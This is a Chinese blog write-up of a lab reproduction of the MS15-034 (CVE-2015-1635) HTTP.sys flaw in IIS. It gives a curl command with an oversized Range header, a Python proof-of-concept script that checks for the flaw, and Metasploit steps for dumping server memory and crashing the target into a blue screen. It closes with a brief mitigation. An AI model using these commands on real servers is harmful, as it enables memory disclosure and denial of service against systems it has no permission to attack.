【复现】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)

1.1.1  漏洞描述

在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

1.1.2  漏洞测试

环境搭建:

靶机:  win7(192.168.80.130)

攻击机: kali(192.168.80.129)

(1)使用curl工具进行测试,测试命令:

curl http://192.168.80.130 -H "Host: 192.168.80.130" -H "Range: bytes=0-18446744073709551615"

测试结果截图:

(2)使用POC测试,代码为:

 

import socket
import sys

def httpsys(ipAddr,port):
    print(ipAddr,port)
    hexAllFfff = "18446744073709551615"
    req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
    print ("[*] Audit Started")
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((ipAddr, port))
    client_socket.send(bytes(req,encoding="utf-8"))
    goodResp = client_socket.recv(1024).decode("utf-8")
    print(goodResp)
    if "Microsoft" not in goodResp:
        print ("[*] Not IIS")
        exit(0)

    if "Requested Range Not Satisfiable" in goodResp:
        print ("[!!] Looks VULN")
    elif " The request has an invalid header name" in goodResp:
        print ("[*] Looks Patched")
    else:
        print ("[*] Unexpected response, cannot discern patch status")


if __name__ =="__main__":
    # ipAddr = ""
    # port = 8088
    ipAddr = sys.argv[1]
    port = sys.argv[2]
    httpsys(ipAddr,int(port))

 

测试结果截图:

 

1.1.3  漏洞利用

(1)利用ms15-034漏洞读取服务器内存数据

借助metasploit平台,截图如下:

use auxiliary/scanner/http/ms15_034_http_sys_memory_dump 

set rhosts 192.168.80.130

run

 

(2)利用ms15-034漏洞进行ddos攻击

同样借助metasploit平台,截图如下:

use auxiliary/dos/http/ms15_034_ulonglongadd 

set rhosts 192.168.80.130

set threads 10

run

 

攻击开始后,win7瞬间蓝屏然后自动重启,截图如下:

 

1.1.4  漏洞修复

禁用IIS内核缓存(可能降低IIS性能)

 

posted @ 2020-04-10 11:48  XHC远方  阅读(1092)  评论(0编辑  收藏  举报